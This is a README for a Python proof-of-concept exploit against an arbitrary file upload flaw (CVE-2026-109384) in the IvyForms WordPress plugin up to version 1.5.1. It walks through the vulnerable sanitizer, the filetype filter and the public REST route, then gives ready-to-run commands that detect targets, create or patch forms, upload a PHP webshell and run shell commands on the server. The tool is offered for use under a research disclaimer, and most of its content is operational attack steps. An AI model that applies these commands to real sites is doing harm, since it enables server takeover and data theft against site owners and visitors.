
Python PoC for CVE-2026-109384: exploits an unauthenticated arbitrary file upload in the IvyForms WordPress plugin (<=1.5.1) to achieve remote code execution.
Unauthenticated arbitrary file upload leading to remote code execution (RCE)
Author: NØXCRYPT · @noxcrypt-x
Disclaimer: This repository is provided for security research and authorized testing only. Do not use it against systems you do not own or have explicit permission to test. The author is not responsible for any misuse.
Repository contents: PoC script and documentation only. The local lab (
lab/) and plugin sources (src/,src152/) are not included to keep the repository small.
| Product | The Innovative Form Builder – IvyForms (WordPress plugin) |
| Affected versions | All versions up to 1.5.1 |
| Fixed in | 1.5.2 (released October 21, 2026) |
| Class | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Source | Wordfence (CNA), published October 27–28, 2026 |
| Identifiers | CVE-2026-109384 / GHSA-qrwx-hpgq-g68q |
IvyForms lets a form owner — or any user holding the ivyforms_add_edit_forms capability, which the plugin exposes as a "custom" access level — choose the allowed file extensions for a file-upload field. The extension sanitizer has no denylist, so it accepts php, phtml, phar, and similar script extensions.
On submission, the plugin registers a filter on wp_check_filetype_and_ext that forces the allow-listed extension and MIME type, bypassing WordPress's native extension and MIME checks. wp_handle_upload() then stores the file under:
wp-content/uploads/ivyforms/entry/<name>.php
The /wp-json/ivyforms/v1/form/submission/ endpoint is public (permission_callback => '__return_true'), and the two nonces it requires are printed into the HTML of any page that renders the form. Once the form is configured, an unauthenticated visitor can replay the upload.
Impact: webshell upload and execution → full server compromise.
backend/src/Common/Sanitizer/Sanitizer.php — sanitizeAllowedFileExtensionsInput():
$ext = strtolower(ltrim(trim($item), '.'));
if ($ext === '' || strlen($ext) > 20 || !preg_match('/^[a-z0-9]+$/', $ext)) {
continue;
}
The check accepts any short alphanumeric string, including php, phtml, phar, html, and svg. There is no dangerous-extension denylist.
backend/src/Services/Submission/SubmissionUploadFiletypeFilter.php:
$ext = self::resolveExtensionForFilter($filename);
if ($ext === '' || !self::isExtensionPermitted($ext)) {
return $data;
}
return self::buildAcceptedFiletype($ext, $mimes);
// ['ext' => 'php', 'type' => 'application/octet-stream', 'proper_filename' => false]
The filter is registered in SubmissionUploadFilePersister::storeUploadedFile() on wp_check_filetype_and_ext. WordPress therefore receives ext=php and type=application/octet-stream and accepts the file instead of rejecting it.
backend/src/Routes/Form/Form.php:
register_rest_route(
$routeNamespace,
'/form/submission/',
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => $container->get(FormSubmissionController::class),
'permission_callback' => '__return_true'
]
);
FormSubmissionController::handle() only validates:
X-WP-Nonce in the wp_rest formatnonce in the ivyformsFrontSubmissionNonce_<formId> formatBoth are generated for anonymous visitors and printed into the page by wp_localize_script():
var wpIvyApiSettings = {"root":"...","nonce":"...","namespace":"ivyforms/v1"};
var wpIvyFormDataList = {"<formId>_<uniqid>":{"form":{...},"nonce":"...","fields":[...]}};
SubmissionUploadDirectoryFilter changes the upload directory to /ivyforms/entry (without year/month subdirectories), and wp_handle_upload() preserves the original filename. Version 1.5.1 does not ship an .htaccess file that blocks execution there.
ivyforms_add_edit_forms (for example, a Subscriber plus an IvyForms access rule).file-upload field with allowedFileExtensions: ["php","phtml",...]./?ivyforms_preview=<id>&_wpNonce=<wp_rest nonce> — available to any user with add_edit_forms.multipart/form-data request to /wp-json/ivyforms/v1/form/submission/ with a PHP file./wp-content/uploads/ivyforms/entry/shell.php.This path escalates a regular user to RCE without administrator involvement.
[ivyforms id="N"].File: ivyforms_cve_2026_109384.py (Python 3, requires only requests).
pip install -r requirements.txt
Terminal UI:
▍ CVE-2026-109384 · CVSS 8.8 High · CWE-434
▍ IvyForms ≤ 1.5.1 → arbitrary file upload → remote code execution
▍ exploit by NØXCRYPT · noxcrypt-x
Colors are enabled automatically on modern terminals and can be disabled with --no-color. With --json, the banner and human-readable messages are suppressed and only the JSON report is printed.
python ivyforms_cve_2026_109384.py -u https://target --detect
Example output:
▍ FINGERPRINT
▍ target https://target
▍ plugin IvyForms 1.5.1
▍ status VULNERABLE (≤ 1.5.1)
python ivyforms_cve_2026_109384.py -u https://target -U lowpriv -P 'password'
The script performs the full chain: login → create the form → use the authenticated preview → extract the nonces → upload the payload → verify execution.
python ivyforms_cve_2026_109384.py -u https://target -U admin -P 'password' --public
This creates both the form and a page containing the shortcode, then submits the upload from an anonymous session using the visitor nonces.
python ivyforms_cve_2026_109384.py -u https://target \
--form-id 7 --page https://target/contact/ --file shell.php
python ivyforms_cve_2026_109384.py -u https://target -U lowpriv -P 'password' \
--form-id 7 --patch --preview
--patch reads the form, adds php to the first file-upload field (or appends a new one), and continues with the upload.
python ivyforms_cve_2026_109384.py -u https://target -U lowpriv -P 'password' --exec "id"
# [+] command output (id): 'uid=33(www-data) gid=33(www-data) ...'